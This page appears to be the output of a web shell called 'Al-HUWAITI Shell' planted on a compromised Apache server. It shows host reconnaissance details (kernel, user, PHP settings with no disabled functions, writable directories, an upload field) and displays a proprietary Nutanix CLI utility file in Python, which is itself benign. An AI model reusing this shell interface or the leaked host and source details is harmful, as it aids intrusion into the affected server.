hello 404 Not Found
Al-HUWAITI Shell
Al-huwaiti


Server : Apache/2.4.52 (Ubuntu)
System : Linux HAN2 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : servadmin ( 1000)
PHP Version : 8.1.2-1ubuntu2.25
Disable Function : NONE
Directory :  /usr/local/nutanix/ngt/ngtcli/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/nutanix/ngt/ngtcli/ngtcli_utils.py
# Copyright (c) 2016 Nutanix Inc. All rights reserved.
#
# Author: annie.pillai@nutanix.com
#
# This class implements all utility functions required by the
# cli module.
#

import datetime
import json
import re

from ngtcli_consts import *
from ssr_utils.ssr_consts import *

def print_util_for_disks(disk_list, index, print_list):
  '''
  Util function to print rows for disk info.
  '''
  disk = disk_list[index]
  print_list.append(disk.get(DISK_LABEL))
  print_list.append(" ".join(disk.get(LOGICAL_DRIVE)))

def print_util_for_time(time_value, print_list):
  '''
  Util function to print time.
  '''
  pattern = '%Y.%m.%d %I:%M %p'
  time_value = datetime.datetime.fromtimestamp(time_value).strftime(pattern)
  print_list.append(time_value)

def print_row_for_snapshot(snap_id, disk_list, index, create_time):
  '''
  Util function to print row for snapshot info.
  '''
  print_list = [snap_id]
  print_util_for_disks(disk_list, index, print_list)
  print_util_for_time(create_time, print_list)
  print(SNAPSHOT_TEMPLATE.format(*print_list))

def print_row_for_attached_disks(snap_id, original, attached, detach_time):
  '''
  Util function to print row for attached disk info.
  '''
  print_list = [snap_id, original, attached]
  print_util_for_time(detach_time, print_list)
  print(DISK_TEMPLATE.format(*print_list))

def print_capabilities(result):
  capabilities = result.get("ngt_capabilities")
  version = result.get("ngt_version")
  vss = capabilities.get("vm_snapshot_service_capabilities_bitmap")
  script = capabilities.get("script_execution_capabilities_bitmap")
  ssr = capabilities.get("file_level_restore_capabilities_bitmap")
  ipless_support = (capabilities.get("supported_communication_types_bitmap") >> 1) & 1
  print(NGT_TEMPLATE.format(version, vss, script, ssr, ipless_support))

def print_snapshot_header():
  '''
  Print the header for snapshot info table.
  '''
  print(SNAPSHOT_TEMPLATE.format(*SNAP_HEADERS))
  print(SNAPSHOT_TEMPLATE.format(*['-'*12, '-'*12, '-'*20, '-'*20]))

def print_disk_header():
  '''
  Print the header for attached disk info table.
  '''
  print(DISK_TEMPLATE.format(*DISK_HEADERS))
  print(DISK_TEMPLATE.format(*['-'*12, '-'*20, '-'*20, '-'*20]))

def remove_unwanted_spaces(operation):
  return re.sub(r'(\s)*(=)(\s)*', r'=', operation)

def parse_to_get_action_and_args(line):
  '''
  Parse the command to get the operation and the arguments.
  '''
  operation = remove_unwanted_spaces(line)
  arguments = operation.split()
  args_provided = []
  if len(arguments) > 1:
    args_provided = arguments[1:]
  return arguments[0], args_provided

def exception_wrapped_func(func, *args):
  '''
  Wrapper to catch exceptions while executing a function.
  '''
  try:
    func(*args)
  except Exception as e:
    if args[0]:
      print_json(1, str(e))
    else:
      print(str(e))
    return

def get_disk_details(result, label_key, disk_drive_key):
  '''
  Get info about disks.

  Args:
    result: response received from the backend.
    label_key: Key for which info is needed.
    disk_drive_key: Key to be displayed on the cli.
  '''
  disk_label = result.get(label_key)
  disk_drives = " ".join(result.get(disk_drive_key))
  details = "{0} ({1})".format(disk_label, disk_drives)
  return details

def print_json(status, result_list):
  '''
  Util function to print in json format.
  '''
  response = {}
  response["status"] = status
  response["data"] = result_list
  print(json.dumps(response))

def print_warnings(status_list):
  '''
  Util function to print warnings after attach disk operation
  '''
  for status in (status_list or []):
    if status.get(DETAIL_STATUS) == kWARNING:
      print("[WARNING] {} : {}".format(status.get(ATTACHED_DISK_PARTITION),
          status.get(DETAIL_MESSAGE)))

def print_attached_disk(result):
  '''
  Util function to extract info from result and print values on cli
  for an attached disk.
  '''
  detach_time = result.get(DISK_DETACH_TIME) / 1000
  snap_id = result.get(SNAPSHOT_ID)

  # Get original and attached disk details.
  original = get_disk_details(result, ORIGINAL_DISK_LABEL,
      ORIGINAL_DISK_DRIVE)
  attached = get_disk_details(result, ATTACHED_DISK_LABEL,
      ATTACHED_DISK_DRIVE)

  # Print the row on the cli.
  print_row_for_attached_disks(snap_id, original, attached, detach_time)
  print_warnings(result.get(ATTACHED_DISK_DETAILS))

def print_for_attach_detach_op(is_json, generator_func, task, response,
    completed_msg):
  '''
  Util function to print for attach or detach op.
  '''

  # For json formatted output.
  if is_json:
    result = [x for x in generator_func]
    if "Completed" in result:
      print_json(task.status, task.response or response)
      return

  # Print messages for each step.
  for value in generator_func:
    if value == "Completed":
      print(completed_msg)
    else:
      print(value)

Al-HUWAITI Shell